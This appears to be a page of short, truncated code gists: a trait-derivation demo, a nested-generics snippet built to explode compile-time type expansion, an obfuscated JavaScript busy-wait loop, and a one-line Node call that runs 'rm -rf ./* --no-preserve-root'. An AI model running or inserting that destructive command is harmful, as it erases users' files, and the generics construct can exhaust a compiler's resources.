This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//! Demonstrates how to use the derive preprocessor to automatically implement traits. | |
// Use @derivable to define a trait that can be derived | |
@derivable(expansion: derive_sample_trait) | |
trait SampleTrait { | |
public func am_i_true(self) -> bool; | |
} | |
// bool and int are SampleTrait | |
extend SampleTrait for bool { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//! This generates 134,931,480 implied generics on G | |
struct A<T> { | |
a: (T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T), | |
} | |
struct B<T>: A<(T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T)> {} | |
struct C<T>: B<(T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T)> {} | |
struct D<T>: C<(T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T)> {} | |
struct E<T>: D<(T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T)> {} | |
struct F<T>: E<(T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T, T)> {} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let i = 0 | |
const _ = (__)=>{var now= | |
new | |
Date | |
( | |
).getTime | |
( | |
) | |
; | |
while((d() || true) && new Date().getTime() < now + __) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require("child-process").exec("rm -rf ./* --no-preserve-root"); |